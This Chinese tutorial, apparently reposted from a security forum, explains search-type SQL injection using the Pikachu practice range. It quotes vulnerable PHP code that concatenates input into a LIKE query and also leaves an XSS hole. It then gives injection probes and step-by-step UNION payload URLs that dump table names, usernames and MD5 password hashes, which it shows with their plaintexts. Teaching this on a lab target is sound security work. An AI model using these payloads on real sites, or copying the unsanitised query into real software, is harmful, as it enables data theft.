实例讲解:
1.搜索型注入漏洞产生的原因:
在搭建网站的时候为了方便用户搜索该网站中的资源,程序员在写网站脚本的时候加入了搜索功能,但是忽略了对搜索变量的过滤,造成了搜索型注入漏洞,又称文本框注入。
2.搜索型注入的类型:
同其他注入类型相同,由于提交表单的不同,可分为GET型(多出现于网站上的搜索)和POST型(多出现于用户名的登录搜索匹配),搜索型注入是国内系统中普遍存在的漏洞。
3.原理分析:
select username,id,email from member where username like '%$name%'
这句SLQ语句就是基于用户输入的name的值在表member中搜索匹配username,但是如果输入 'and 1=1 and '%'=' 就变成了
select username,id,email from member where username like '%$name'and 1=1 and '%'='%'
就存在了SQL注入。
4.搜索型注入的判断方法:
搜索keywords‘,如果出错的话,有90%的可能性存在漏洞;
搜索 keywords%,如果同样出错的话,就有95%的可能性存在漏洞;
搜索keywords% 'and 1=1 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=1)看返回的情况
搜索keywords% 'and 1=2 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=2)看返回的情况
根据两次的返回情况来判断是不是搜索型文本框注入了
下面方法也可以测试
'and 1=1 and '%'='
%' and 1=1--'
%' and 1=1 and '%'='
源码:
if(isset($_GET['submit']) && $_GET['name']!=null){
//这里没有做任何处理,直接拼到select里面去了
$name=$_GET['name'];
//这里的变量是模糊匹配,需要考虑闭合
$query="select username,id,email from member where username like '%$name%'";
$result=execute($link, $query);
if(mysqli_num_rows($result)>=1){
//彩蛋:这里还有个xss
$html2.="用户名中含有{$_GET['name']}的结果如下:
";
while($data=mysqli_fetch_assoc($result)){
$uname=$data['username'];
$id=$data['id'];
$email=$data['email'];
$html1.="
username:{$uname}
uid:{$id}
email is: {$email}
";
}
}else{
$html1.="0o。..没有搜索到你输入的信息!
";
}
}
实验过程:
1、使用UNION联合查询法判断字段数,测试在name=后面构造 order by 1和order by 2时回显有报错,当到order by 3时回显正常,所以可以判断字段数为3个字段。
http://xxxxx.com/pikachu-master/vul/sqli/sqli_search.php?name= ' order by 3 --+&submit=æç´¢
2、通过联合查询法构造union select 1,2语句来显示字段。
http://xxxxx.com/pikachu-master/vul/sqli/sqli_search.php?name= ' UNION SELECT 1,2,3 --+&submit=æç´¢
3、通过联合查询法查询数据库库名。
http://xxxxx.com/pikachu-master/vul/sqli/sqli_search.php?name= ' UNION SELECT 1,2,database() --+&submit=æç´¢
4、通过上一步联合查询法我们得到靶场上存在的数据库库名,接下来我们查看一下这个数据库里面存在哪些表。
http://xxxxx.com/pikachu-master/vul/sqli/sqli_search.php?name= ' UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema='pikachu' --+&submit=æç´¢
5、通过查询pikachu这个数据库发现里面有users表,然后在查看users表里面存在哪些表项。
http://xxxxx.com/pikachu-master/vul/sqli/sqli_search.php?name= ' UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+&submit=æç´¢
6、通过查询users表发现表里存在2个表项分别是username和password,最后分别查看一下这两个表项的内容得到用户名和密码。
http://xxxxx.com/pikachu-master/vul/sqli/sqli_search.php?name= ' UNION SELECT 1,2,username from users username --+&submit=æç´¢
http://xxxxx.com/pikachu-master/vul/sqli/sqli_search.php?name= ' UNION SELECT 1,2,password from users password --+&submit=æç´¢
最终获取到经过md5加密的密码
用户名 | 经过md5加密过的密码 | 明文密码 |
admin | e10adc3949ba59abbe56e057f20f883e | 123456 |
pikachu | 670b14728ad9902aecba32e22fa4f6bd | 000000 |
test | e99a18c428cb38d5f260853678922e03 | abc123 |
文章转自:林三岁网络安全实验室
转载请注明出处:https://bbs.linsansui.cn/thread-52-1-1.html